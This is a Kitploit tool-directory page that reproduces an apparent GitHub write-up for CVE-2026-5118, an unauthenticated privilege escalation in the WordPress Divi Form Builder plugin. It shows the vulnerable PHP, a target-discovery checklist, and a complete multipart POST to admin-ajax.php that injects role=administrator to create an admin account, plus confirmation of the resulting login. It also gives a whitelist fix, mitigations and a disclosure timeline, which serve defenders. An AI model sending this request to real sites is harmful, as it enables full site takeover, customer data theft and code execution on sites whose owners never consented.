Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-5118 — CVE-2026-5118 | Divi Form Builder <= 5.1.2 | 通过角色注入实现未认证权限提升 | Kitploit
工具/GitHubGitHub/zycoder0day/cve-2026-5118
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubzycoder0day/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 | Divi Form Builder <= 5.1.2 | 通过角色注入实现未认证权限提升

查看仓库
53个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🔥 CVE-2026-5118

Divi Form Builder <= 5.1.2 — 未认证权限提升


🎯 摘要

WordPress 插件 Divi Form Builder 版本 5.1.2 及更早版本 存在一个 严重(Critical) 漏洞,允许 未认证攻击者 通过注册表单直接创建 管理员(Administrator) 账户。

一个隐藏字段。一个被篡改的值。获得整个网站的完全访问权限。


🧨 攻击者能做什么?

能力影响
🔑 无需登录创建管理员账户整站接管
📦 访问 WooCommerce 客户数据数据泄露
💉 编辑插件/主题文件(PHP)远程代码执行
🕳️ 创建隐藏后门持久化访问
👥 查看所有用户数据侵犯隐私

🔬 漏洞分析

漏洞位置

root@kitploit:~
includes/shared/handlers/FormSubmissionHandler.php → create_user()

漏洞代码

root@kitploit:~
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" langsung diterapkan

为什么这会成功?

root@kitploit:~
                    ALUR VALIDASI YANG BERMASALAH
  ┌──────────────────────────────────────────────────────┐
  │  Penyerang kirim: role=administrator                │
  │                    ↓                                  │
  │  sanitize_text_field() → "administrator" (bersih)   │
  │                    ↓                                  │
  │  isset($roles_obj->roles["administrator"]) → TRUE   │ ← BUG! Hanya cek ADA/TIDAK
  │                    ↓                                  │
  │  $user->set_role("administrator") → ADMIN PENUH!    │ ← PRIVESC!
  └──────────────────────────────────────────────────────┘

  "administrator" ADALAH role yang valid di WordPress,
  jadi validasi isset() SELALU return true.
  Fungsi ini TIDAK PERNAH menolak role berbahaya.

攻击向量

DFB 注册表单包含一个隐藏输入:

root@kitploit:~
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

🛠️ 概念验证(PoC)— 攻击链

阶段 1:侦察 — 发现目标

root@kitploit:~
[★] Target Discovery: Divi Form Builder indicator
    ├── Endpoint scan: 50+ path registrasi
    ├── Homepage link crawl: keyword priority
    ├── REST API: /wp-json/wp/v2/pages?search=register
    ├── Sitemap parsing: XML sitemap URLs
    ├── DFB REST API: /wp-json/divi-form-builder/v1
    ├── AJAX probe: de_fb_ajax_submit_ajax_handler
    ├── WooCommerce: /my-account/ sub-pages
    ├── robots.txt: custom sitemaps + disallow
    ├── Contact pages: DFB forms tersembunyi
    ├── wp-json deep: content-first scan
    
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3

阶段 2:提取表单参数

root@kitploit:~
Parameter yang diperlukan:
  ├── fb_nonce:        [dari hidden input / de_fb_obj]
  ├── form_key:        [dari hidden input]
  ├── form_type:       register
  ├── divi-form-submit: yes
  └── role:            [INJEKSI: administrator]

Field pemetaan:
  ├── de_fb_user_login + user_login    (kedua varian wajib)
  ├── de_fb_user_email + user_email    
  ├── de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

阶段 3:角色注入 — 权限提升

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

阶段 4:验证 — 管理员访问

root@kitploit:~
[→] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 → /wp-admin/

[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
    ├── Dashboard: /wp-admin/
    ├── Users:     Can create/delete any user
    ├── Plugins:   Can install/activate/edit PHP
    ├── Themes:    Can edit template files → RCE
    └── Settings:  Full site control

🧪 实验室验证

测试在隔离的 Docker 环境(WordPress 6.5 + DFB v5.0.0)中进行:

root@kitploit:~
╔══════════════════════════════════════════════════════╗
║  LAB VERIFICATION RESULTS                              ║
╠══════════════════════════════════════════════════════╣
║  Method: AJAX (admin-ajax.php)                        ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Method: Form POST (direct submission)                 ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Status: ★ PWNED — Full Admin Access ★               ║
╚══════════════════════════════════════════════════════╝

🔧 推荐的修复方案

解决方案:角色注册白名单

root@kitploit:~
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Hanya cek ADA, bukan AMAN
}

// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Tolak semua role berbahaya
}

附加步骤

  1. 从前端表单中移除 role 参数 — 使用现有的 default_user_role
  2. 在 AJAX 处理器中添加严格的 nonce 验证
  3. 为特殊角色添加 capability 检查 current_user_can('create_users')
  4. 对注册端点进行速率限制 以防止暴力破解

📊 时间线

日期事件
2026-04-13发布 5.1.3 版本(根据变更日志可能是修复版本)
2026-05-21在隔离实验室中独立验证该漏洞
2026-05-21已向 Divi Engine Security 提交负责任披露

🛡️ 临时缓解措施(补丁发布前)

  1. 如果可用,请更新到 5.1.3+ 版本
  2. 在修复应用前禁用 DFB 注册表单
  3. 使用 WAF 规则 阻止 POST 请求中的 role=administrator 参数
  4. 监控 wp_users 表,查找未知的新管理员账户
  5. 限制访问 /wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler

⚖️ 免责声明

本文档仅供教育和负责任披露目的而制作。所有漏洞利用测试均在隔离的实验室环境中进行。对在线目标仅进行被动检测(识别表单和参数,不发送利用数据)。

作者对滥用本文档中的信息不承担任何责任。


CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • 未认证权限提升
发现并验证:2026-05-21

下载工具